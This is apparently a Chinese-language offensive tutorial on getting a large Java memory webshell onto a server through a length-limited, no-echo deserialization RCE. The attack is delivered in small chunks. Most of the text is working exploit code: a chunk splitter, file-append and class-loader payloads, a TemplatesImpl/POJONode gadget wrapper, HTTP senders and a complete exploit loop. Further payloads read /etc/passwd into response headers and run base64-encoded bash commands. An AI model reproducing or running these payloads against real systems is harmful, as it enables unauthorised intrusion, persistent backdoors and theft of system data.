原理:https://developer.aliyun.com/article/863792
要用到的工具:https://github.com/un1novvn/Java-unser-utils
基本概念 分块传输原理:将大马写入到远程机文件中,写入完成后使用类加载去加载他。
适用情况:限制payload长度,rce无回显,不出网,不出dns。
实现思路:发送2种payload:payload1负责追加写入.class文件,payload2负责类加载,这两种payload必须都小于长度限制。
exploit流程:
1、获取大马字节码,分割成小片段。
2、遍历小片段,将小片段填入写文件的小马,确定写入的位置和写入文件名。生成字节码,生成序列化对象,这是payload1。发送payload1到远程。
3、遍历结束后,大马已经完全写入到远程文件。此时生成payload2,发送,执行类加载。
构造payload 分割大马 chunkSize根据实际情况填。
public static byte[][] splitByteArray(byte[] byteArray, int chunkSize) { int numOfChunks = (int) Math.ceil((double) byteArray.length / chunkSize); byte[][] result = new byte[numOfChunks][]; for (int i = 0; i < numOfChunks; i++) { int start = i * chunkSize; int length = Math.min(byteArray.length - start, chunkSize); byte[] chunk = Arrays.copyOfRange(byteArray, start, start + length); result[i] = chunk; } return result; }
写文件 构造追加写文件用的马子。
将大马的小片段填入byte数组。
public A(){ try { String path = "/tmp/aaa"; File file = new File(path); FileOutputStream fos = new FileOutputStream(path, true); byte[] data = {1,1,1}; fos.write(data); fos.close(); } catch (Exception ignore) { } }
类加载 构造类加载用的马。
注意看URLClassLoader构造函数第二个参数是ContextClassLoader。若不加这个,加载tomcat Filter 内存马时报错:ClassNotFound: javax.servlet.Filter
。因为单纯一个URLClassLoader在/tmp
没有找到Filter,所以要添加一个父加载器,他才能找到Filter。
测试发现,ClassLoader.getSystemClassLoader()
这个加载器也找不到Filter。这和Tomcat类加载机制有关。
public A(){ try { String path = "file:///tmp/"; java.net.URL url = new java.net.URL(path); java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url},Thread.currentThread().getContextClassLoader()); Class clazz = urlClassLoader.loadClass("Evil"); clazz.newInstance(); }catch (Exception ignored) { } }
生成字节码 将上述用于写文件和类加载的代码填入下面的A类的构造函数即可生成字节码。
public static byte[] payload(String data,String filename) throws Exception{ String s = "public A(){}"; ClassPool classPool = ClassPool.getDefault(); classPool.importPackage(Scanner.class.getName()); CtClass ctClass = classPool.get(AbstractTranslet.class.getName()); CtClass calc = classPool.makeClass("A"); calc.setSuperclass(ctClass); CtConstructor ctConstructor = CtNewConstructor.make(s, calc); calc.addConstructor(ctConstructor); byte[] bytes = calc.toBytecode(); calc.defrost(); return bytes; }
生成序列化对象 这一步将字节码包装进TemplatesImpl,然后组装gadget。
public static Object wrap(byte[] code) throws Exception{ TemplatesImpl o = Gadget.getTemplateImpl(code); // hashMap -> XString -> POJONode-> TemplatesImpl POJONode pojoNode = Gadget.getPOJONode(o); HashMap hashMapXString = Gadget.get_HashMap_XString(pojoNode); return hashMapXString; }
发送请求 手动封装的发请求的工具。
get public static void get(String url, HashMap<String,String> params) throws Exception { String query = "?"; for (String key : params.keySet()) { String value = params.get(key); query += key +"="+value; query += "&"; } query = query.substring(0,query.length()-1); url += query; // 创建 URL 对象 URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); // 获取响应 int responseCode = con.getResponseCode(); System.out.println("Response Code: " + responseCode); System.out.println("Response Headers: " + con.getHeaderFields()); BufferedReader in = null; try { in = new BufferedReader(new InputStreamReader(con.getInputStream())); }catch (Exception e){ in = new BufferedReader(new InputStreamReader(con.getErrorStream())); }finally { String inputLine; StringBuilder response = new StringBuilder(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } System.out.println("Response: " + response.toString()); } }
post public static void post(String url,HashMap<String,String> params) throws Exception{ // 创建 URL 对象 URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); String body = ""; for (String key : params.keySet()) { String value = params.get(key); body += key +"="+value; body += "&"; } body = body.length() == 0 ? "" : body.substring(0,body.length()-1); // 设置请求方法为 POST con.setRequestMethod("POST"); // 设置请求头部信息 con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 发送 POST 请求 con.setDoOutput(true); try (DataOutputStream wr = new DataOutputStream(con.getOutputStream())) { wr.writeBytes(body); wr.flush(); } // 获取响应 int responseCode = con.getResponseCode(); System.out.println("Response Headers: " + con.getHeaderFields().size()); System.out.println("Response Code: " + responseCode); try (BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()))) { String inputLine; StringBuilder response = new StringBuilder(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } // 输出响应内容 System.out.println("Response Text: " + response); } }
exploit public static void exploit()throws Exception{ String url = "http://192.168.109.128:18082/backdoor"; //存放请求参数 HashMap<String, String> params = new HashMap<>(); byte[] bigHorse = Util.fil2ByteArray("FilterShell.class"); System.out.println("bigHorse length: "+bigHorse.length); // 将上一次失败的结果删掉 rce(url,"rm /tmp/FilterShell.class"); sleep(); byte[][] bytes = Util.splitByteArray(bigHorse,100); for (byte[] aByte : bytes) { // 将字节数组转换成 {1,2,3,4,5} 的形式传给写文件马然后再编译成字节码 Object writeHorse = wrap(SmallShell.writeByteHorse(aByte,"/tmp/FilterShell.class")); String packet = Base64.getEncoder().encodeToString(Util.serialize(writeHorse)); System.out.println("writeHorse length: "+packet.length()); params.put("payload",Util.URLEncode(packet)); Request.get(url,params); sleep(); } // 传输类加载马,让他加载 /tmp/FilterShell.class 文件 Object loaderHorse = wrap(SmallShell.loaderHorse("FilterShell")); String loaderHorseBase = Base64.getEncoder().encodeToString(Util.serialize(loaderHorse)); System.out.println("loaderHorse Length: "+loaderHorseBase.length()); params.put("payload",Util.URLEncode(loaderHorseBase)); Request.get(url,params); }
其他小马 附上测试过程中用过的别的类型的小马。
readObject public A(){ try { java.io.InputStream in = new java.io.FileInputStream("aaa"); java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int n = 0; while((n = in.read(buffer)) != -1) { out.write(buffer, 0, n); } byte[] data = out.toByteArray(); byte[] decodeBytes = java.util.Base64.getDecoder().decode(data); new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(decodeBytes)).readObject(); } catch (Exception e) { } }
读文件 读取文件然后通过请求头返回
public A(){ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response = ((org.apache.catalina.connector.Request)r.get(request)).getResponse(); response.setHeader("b",new java.util.Scanner(new java.io.File("/etc/passwd")).next()); }
Base64Decode public A(){ try { String path = "/your/path"; FileInputStream fis = new FileInputStream(path); // size取决于实际情况 byte[] data = new byte[size]; fis.read(data); // 写入Evil.class FileOutputStream fos = new FileOutputStream("Evil.class"); fos.write(Base64.getDecoder().decode(data)); fos.close(); } catch (Exception ignored) {} }
RCE 不回显
public A(){ try(){ Runtime.getRuntime().exec("bash -c {echo,cmdBase64}|{base64,-d}|{bash,-i}"); }catch(Exception e){ } }
有回显
public A(){ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response = ((org.apache.catalina.connector.Request)r.get(request)).getResponse(); String s =new Scanner(Runtime.getRuntime().exec(“whoami”).getInputStream()).next(); response.setHeader("c", s); }
小马长度比较 单纯只是小马的字节码长度,不是序列化对象的长度。
contextLoaderHorse: 803 //加入了 getContextClassLoader urlLoaderHorse: 633 //不加 getContextClassLoader rceHorse: 483 // 无回显rce rceWithResultHorse: 1525 // 有回显rce writeByteHorse: 506 //写入1个字节时该马的长度 writeStringHorse: 559 //写入1个字符时该马的长度 readObjectHorse: 934 //读取文件并反序列化 readFileHorse: 1325 //读取文件并回显